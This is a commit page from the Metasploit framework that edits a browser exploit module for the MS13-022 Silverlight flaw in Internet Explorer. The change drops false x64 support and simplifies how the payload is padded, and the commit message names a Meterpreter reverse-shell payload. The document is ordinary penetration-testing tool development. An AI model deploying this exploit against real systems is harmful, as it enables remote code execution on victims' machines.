Skip to content

Commit 036a608

Browse files
committed
Drop ungenuine x64 support in ms13_022_silverlight_script_object
The MS13-022 exploit does not actually run as x64. IE by default still runs x86 so BES will always automatically select that target. If IE forces x64 (which can be done manually), the BES detection code will see it as ARCH_X86_64, and the payload generator will still end up generating a x86 payload anyway. If the user actually chooses a x64 payload, such as windows/x64/meterpreter/reverse_tcp, the exploit is going to crash because you can't run x64 shellcode on an x86 architecture.
1 parent 7a3bc01 commit 036a608

File tree

1 file changed

+4
-12
lines changed

1 file changed

+4
-12
lines changed

modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb

Lines changed: 4 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ def initialize(info={})
2828
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
2929
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
3030
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
31-
SP3 / Windows 7 SP1 on both x32 and x64 architectures.
31+
SP3 / Windows 7 SP1.
3232
},
3333
'License' => MSF_LICENSE,
3434
'Author' =>
@@ -55,7 +55,6 @@ def initialize(info={})
5555
'EXITFUNC' => 'thread'
5656
},
5757
'Platform' => 'win',
58-
'Arch' => [ARCH_X86, ARCH_X86_64],
5958
'BrowserRequirements' =>
6059
{
6160
:source => /script|headers/i,
@@ -65,15 +64,10 @@ def initialize(info={})
6564
},
6665
'Targets' =>
6766
[
68-
[ 'Windows x86',
67+
[ 'Windows x86/x64',
6968
{
7069
'arch' => ARCH_X86
7170
}
72-
],
73-
[ 'Windows x64',
74-
{
75-
'arch' => ARCH_X86_64
76-
}
7771
]
7872
],
7973
'Privileged' => false,
@@ -96,10 +90,8 @@ def exploit_template(cli, target_info)
9690
my_payload = get_payload(cli, target_info)
9791

9892
# Align to 4 bytes the x86 payload
99-
if target_info[:arch] == ARCH_X86
100-
while my_payload.length % 4 != 0
101-
my_payload = "\x90" + my_payload
102-
end
93+
while my_payload.length % 4 != 0
94+
my_payload = "\x90" + my_payload
10395
end
10496

10597
my_payload = Rex::Text.encode_base64(my_payload)

0 commit comments

Comments
 (0)